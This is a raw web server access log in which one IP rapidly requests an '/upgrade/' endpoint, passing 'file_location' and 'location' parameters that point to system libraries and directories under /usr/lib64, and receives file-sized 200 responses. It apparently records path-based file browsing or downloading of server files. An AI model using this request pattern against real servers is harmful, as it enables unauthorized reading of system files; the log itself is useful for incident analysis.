45.135.193.11 - - [11/Sep/2026:22:56:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibk5crypto.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 142545 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibk5crypto.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkeyutils.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112070 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkeyutils.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 186372 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132388 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXRCore-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 235616 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXRCore-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrack.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119242 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrack.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibproxy.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 159203 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibproxy.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsx.so.2.48&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109901 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsx.so.2.48&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsbc.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132724 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsbc.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_idmap.so.0.5.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116002 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_idmap.so.0.5.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvmaf.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 329975 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvmaf.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:47 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgirepository-1.0 HTTP/1.1" 200 11672 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgirepository-1.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-lint.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133101 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-lint.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXpm.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140069 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXpm.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcryptsetup.so.12.11.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 384693 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcryptsetup.so.12.11.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefisec.so.1.38&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119514 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefisec.so.1.38&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-cds.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122584 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-cds.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_part_err.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106785 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_part_err.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 287084 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopcodes-2.35.2-72.el9.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 284649 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopcodes-2.35.2-72.el9.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuv.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 195401 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuv.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri2.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110191 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri2.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:52 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fpython3.9 HTTP/1.1" 200 17976 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fpython3.9" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasound.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 608625 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasound.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcurses.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103014 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcurses.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibk5crypto.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 142229 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibk5crypto.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblz4.so.1.9.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 169824 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblz4.so.1.9.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrbd.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 3926687 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrbd.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmbconf.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 355228 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmbconf.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-egl.so.1.21.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106661 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-egl.so.1.21.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:56 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fdri HTTP/1.1" 200 6592 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fdri" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:56 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fpkgconfig HTTP/1.1" 200 14194 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fpkgconfig" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc-binding.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 163126 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc-binding.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_amdgpu.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124045 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_amdgpu.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtinfo.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 176186 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtinfo.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadbd.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 7504734 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadbd.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXRUtil-3_1.so.30&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 177365 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXRUtil-3_1.so.30&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdatrie.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118143 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdatrie.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnvme-mi.so.1.16.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124519 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnvme-mi.so.1.16.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre32.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 283663 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre32.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-fapi.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 484279 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-fapi.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbis.so.0.4.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 197622 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbis.so.0.4.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnetfilter_conntrack.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 154337 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnetfilter_conntrack.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwmf-0.2.so.7.1.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 198686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwmf-0.2.so.7.1.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-composite.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107878 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-composite.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGL.so.1.7.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 234961 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGL.so.1.7.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXau.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110032 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXau.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-libevent.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108299 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-libevent.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdav1d.so.7.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 787674 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdav1d.so.7.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuuc.so.67&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 949003 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuuc.so.67&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmd.so.0.2.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133790 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmd.so.0.2.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnsl.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 148666 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnsl.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:05 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibnl HTTP/1.1" 200 5936 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibnl" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-client.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133585 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-client.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdbus-1.so.3.19.13&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 255077 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdbus-1.so.3.19.13&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:07 -0400] "GET /upgrade/?full_path=%2Fusr%2Flib64&location=%2Fusr%2F HTTP/1.1" 200 6676 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flib64&location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoup-gnome-2.4.so.1.11.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108123 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoup-gnome-2.4.so.1.11.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdhash.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110772 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdhash.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 166570 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5support.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 130116 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5support.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
